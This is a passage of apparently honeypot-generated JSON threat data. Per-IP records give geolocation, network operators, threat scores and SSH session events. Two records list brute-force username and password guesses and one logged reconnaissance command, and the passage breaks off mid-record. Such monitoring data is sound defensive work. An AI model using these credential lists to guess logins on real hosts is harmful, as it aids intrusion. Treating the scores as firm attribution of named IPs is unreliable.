        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uruguay",
      "country_code": "UY",
      "city": "Montevideo",
      "asn": 6057,
      "as_org": "Administracion Nacional de Telecomunicaciones",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T18:27:56.835000+00:00",
        "last_seen_30d": "2026-05-16T18:29:11.880000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "171.114.230.68": {
      "attack_count": 2,
      "first_seen": "2026-05-22T10:01:44.175Z",
      "last_seen": "2026-05-22T10:02:16.613Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T10:01:44.175000+00:00",
        "last_seen_30d": "2026-05-22T10:03:26.584000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "175.10.224.169": {
      "attack_count": 2,
      "first_seen": "2026-05-05T21:08:32.059Z",
      "last_seen": "2026-05-05T21:08:45.278Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T21:08:32.059000+00:00",
        "last_seen_30d": "2026-05-05T21:09:55.213000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "176.233.247.17": {
      "attack_count": 2,
      "first_seen": "2026-05-25T10:22:38.871Z",
      "last_seen": "2026-05-25T10:22:51.179Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Istanbul",
      "asn": 34984,
      "as_org": "Superonline Iletisim Hizmetleri A.S.",
      "threat_score": 14.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T10:22:38.871000+00:00",
        "last_seen_30d": "2026-05-25T10:23:54.223000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "180.190.202.143": {
      "attack_count": 2,
      "first_seen": "2026-05-23T12:42:56.249Z",
      "last_seen": "2026-05-23T12:43:08.826Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Lahug",
      "asn": 132199,
      "as_org": "Globe Telecom Inc.",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T12:42:56.249000+00:00",
        "last_seen_30d": "2026-05-23T12:44:14.456000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "185.30.197.222": {
      "attack_count": 2,
      "first_seen": "2026-05-04T20:03:02.793Z",
      "last_seen": "2026-05-04T20:03:15.719Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "Mijas",
      "asn": 200845,
      "as_org": "Avatel Telecom, SA",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T20:03:02.793000+00:00",
        "last_seen_30d": "2026-05-04T20:04:19.321000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "187.152.164.111": {
      "attack_count": 2,
      "first_seen": "2026-05-03T17:33:06.889Z",
      "last_seen": "2026-05-03T17:33:19.524Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Solidaridad",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T17:33:06.889000+00:00",
        "last_seen_30d": "2026-05-03T17:34:28.434000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "188.81.24.208": {
      "attack_count": 2,
      "first_seen": "2026-05-11T17:13:40.585Z",
      "last_seen": "2026-05-11T17:15:40.586Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": "Oliveira do Bairro",
      "asn": 3243,
      "as_org": "Servicos De Comunicacoes E Multimedia S.A.",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T17:13:40.585000+00:00",
        "last_seen_30d": "2026-05-11T17:26:37.157000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "197.231.199.24": {
      "attack_count": 2,
      "first_seen": "2026-05-10T12:02:27.629Z",
      "last_seen": "2026-05-10T12:02:40.427Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Africa",
      "country_code": "ZA",
      "city": "Johannesburg",
      "asn": 37549,
      "as_org": "Innovative_Networks",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T12:02:27.629000+00:00",
        "last_seen_30d": "2026-05-10T12:03:44.174000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "198.235.24.87": {
      "attack_count": 2,
      "first_seen": "2026-05-14T17:48:35.740Z",
      "last_seen": "2026-05-14T17:49:06.165Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 91.4,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.4,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 139,
        "days_active_30d": 30,
        "ports_targeted_30d": 39,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-02T01:26:28+00:00",
        "last_seen_30d": "2026-05-31T19:42:38.927000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 98,
        "Honeytrap": 34,
        "ConPot": 2,
        "Cowrie": 2,
        "H0neytr4p": 2,
        "Honeyaml": 1
      }
    },
    "202.65.238.166": {
      "attack_count": 2,
      "first_seen": "2026-05-06T08:08:45.060Z",
      "last_seen": "2026-05-06T08:10:45.062Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Jakarta",
      "asn": 45700,
      "as_org": "PT Starlink Services Indonesia",
      "threat_score": 3.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T08:08:45.060000+00:00",
        "last_seen_30d": "2026-05-06T08:21:26.702000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "205.210.31.100": {
      "attack_count": 2,
      "first_seen": "2026-05-26T00:55:21.528Z",
      "last_seen": "2026-05-26T00:55:31.343Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 63.6,
      "threat_level": "high",
      "score_components": {
        "frequency": 16.9,
        "persistence": 11.7,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 49,
        "days_active_30d": 14,
        "ports_targeted_30d": 15,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-18T20:38:08+00:00",
        "last_seen_30d": "2026-05-31T18:23:22.325000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 34,
        "Honeytrap": 13,
        "Cowrie": 2
      }
    },
    "27.97.162.77": {
      "attack_count": 2,
      "first_seen": "2026-05-02T04:59:58.237Z",
      "last_seen": "2026-05-02T05:00:10.855Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Nagpur",
      "asn": 45271,
      "as_org": "Vodafone Idea Ltd",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T04:59:58.237000+00:00",
        "last_seen_30d": "2026-05-02T05:01:22.600000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "37.186.114.106": {
      "attack_count": 2,
      "first_seen": "2026-05-15T11:36:48.167Z",
      "last_seen": "2026-05-15T11:37:19.478Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Armenia",
      "country_code": "AM",
      "city": "Yerevan",
      "asn": 49800,
      "as_org": "GNC-Alfa CJSC",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T11:36:48.167000+00:00",
        "last_seen_30d": "2026-05-15T11:38:29.075000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "38.51.173.224": {
      "attack_count": 2,
      "first_seen": "2026-05-05T18:41:10.388Z",
      "last_seen": "2026-05-05T18:41:23.152Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Oman",
      "country_code": "OM",
      "city": "Muscat",
      "asn": 204170,
      "as_org": "Awaser Oman LLC",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T18:41:10.388000+00:00",
        "last_seen_30d": "2026-05-05T18:42:27.864000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "39.46.159.147": {
      "attack_count": 2,
      "first_seen": "2026-05-18T08:37:49.289Z",
      "last_seen": "2026-05-18T08:38:02.535Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 17557,
      "as_org": "Pakistan Telecommunication Company Limited",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T08:37:49.289000+00:00",
        "last_seen_30d": "2026-05-18T08:39:07.324000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.6.23.14": {
      "attack_count": 2,
      "first_seen": "2026-05-02T17:32:05.373Z",
      "last_seen": "2026-05-02T17:32:18.334Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Nova Igua\u00e7u",
      "asn": null,
      "as_org": null,
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T17:32:05.373000+00:00",
        "last_seen_30d": "2026-05-02T17:33:26.857000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "46.60.108.9": {
      "attack_count": 2,
      "first_seen": "2026-05-11T03:07:02.821Z",
      "last_seen": "2026-05-11T03:07:15.886Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Palestine",
      "country_code": "PS",
      "city": "Jericho",
      "asn": 12975,
      "as_org": "Palestine Telecommunications Company (PALTEL)",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T03:07:02.821000+00:00",
        "last_seen_30d": "2026-05-11T03:08:20.728000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "49.142.82.104": {
      "attack_count": 2,
      "first_seen": "2026-05-26T00:13:36.792Z",
      "last_seen": "2026-05-26T00:14:08.817Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": null,
      "asn": 7623,
      "as_org": "Gyeongbuk Cable TV",
      "threat_score": 20.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T00:13:36.792000+00:00",
        "last_seen_30d": "2026-05-26T12:52:04.316000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 13,
        "Cowrie": 2
      }
    },
    "49.49.195.223": {
      "attack_count": 2,
      "first_seen": "2026-05-12T19:13:26.752Z",
      "last_seen": "2026-05-12T19:13:40.059Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Samut Sakhon",
      "asn": 45758,
      "as_org": "Triple T Broadband Public Company Limited",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T19:13:26.752000+00:00",
        "last_seen_30d": "2026-05-12T19:14:48.500000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "51.36.50.160": {
      "attack_count": 2,
      "first_seen": "2026-05-06T11:15:08.123Z",
      "last_seen": "2026-05-06T11:15:21.492Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Saudi Arabia",
      "country_code": "SA",
      "city": "Riyadh",
      "asn": 43766,
      "as_org": "Mobile Telecommunication Company Saudi Arabia Joint-Stock company",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T11:15:08.123000+00:00",
        "last_seen_30d": "2026-05-06T11:16:29.196000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "59.32.96.117": {
      "attack_count": 2,
      "first_seen": "2026-05-23T08:38:56.750Z",
      "last_seen": "2026-05-23T08:39:10.117Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T08:38:56.750000+00:00",
        "last_seen_30d": "2026-05-23T08:40:11.184000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "70.178.197.72": {
      "attack_count": 2,
      "first_seen": "2026-05-26T19:08:05.769Z",
      "last_seen": "2026-05-26T19:08:17.925Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Springdale",
      "asn": 22773,
      "as_org": "Cox Communications Inc.",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-26T19:08:05.769000+00:00",
        "last_seen_30d": "2026-05-26T19:09:21.039000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "83.139.27.47": {
      "attack_count": 2,
      "first_seen": "2026-05-17T23:37:15.401Z",
      "last_seen": "2026-05-17T23:37:28.709Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Armenia",
      "country_code": "AM",
      "city": "Yerevan",
      "asn": 43733,
      "as_org": "Viva Armenia CJSC",
      "threat_score": 9.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T23:37:15.401000+00:00",
        "last_seen_30d": "2026-05-17T23:38:29.115000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "85.241.85.41": {
      "attack_count": 2,
      "first_seen": "2026-05-04T11:43:51.194Z",
      "last_seen": "2026-05-04T11:45:51.197Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": "Alcabideche",
      "asn": 3243,
      "as_org": "Servicos De Comunicacoes E Multimedia S.A.",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T11:43:51.194000+00:00",
        "last_seen_30d": "2026-05-04T11:46:53.415000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "91.175.241.193": {
      "attack_count": 2,
      "first_seen": "2026-05-08T15:31:17.438Z",
      "last_seen": "2026-05-08T15:33:17.440Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Goussainville",
      "asn": 12322,
      "as_org": "Free SAS",
      "threat_score": 4.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T15:31:17.438000+00:00",
        "last_seen_30d": "2026-05-08T15:44:09.647000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "47.86.55.200": {
      "attack_count": 1836,
      "first_seen": "2026-05-17T00:13:10.521Z",
      "last_seen": "2026-05-17T05:56:48.232Z",
      "sessions": 369,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "user",
        "ubuntu",
        "deploy",
        "test",
        "user1",
        "git",
        "postgres",
        "debian",
        "elasticsearch",
        "es",
        "frappe",
        "ftp",
        "ftpuser",
        "hadoop",
        "minecraft",
        "mysql",
        "oracle",
        "steam"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "password",
        "1",
        "12345678",
        "123456789",
        "1qaz@WSX",
        "admin123",
        "111111",
        "1234",
        "12345",
        "Aa123456",
        "Admin@123",
        "P@ssw0rd",
        "admin",
        "frappe",
        "rock",
        "test",
        "test123",
        "user"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 22.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 2653,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-17T00:13:10.521000+00:00",
        "last_seen_30d": "2026-05-17T05:58:30.544000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 1836,
        "Suricata": 817
      }
    },
    "116.99.175.142": {
      "attack_count": 447,
      "first_seen": "2026-05-11T06:42:39.275Z",
      "last_seen": "2026-05-11T07:21:21.047Z",
      "sessions": 89,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "test",
        "*****",
        "1234",
        "123456",
        "anton",
        "backup",
        "bin",
        "btf",
        "cisco",
        "demo",
        "developer",
        "dubai",
        "guest",
        "help",
        "installer",
        "jay",
        "joggler",
        "joro"
      ],
      "passwords_attempted": [
        "123456",
        "1234",
        "12345678",
        "123456789",
        "admin",
        "*****",
        "1",
        "1111",
        "112233",
        "1234567890%*()",
        "321start",
        "91482d",
        "@",
        "OkwKcECs8qJP2Z",
        "P@ssw0rd",
        "abc123",
        "abcdefg",
        "admin01",
        "administrator",
        "alpine"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 24086,
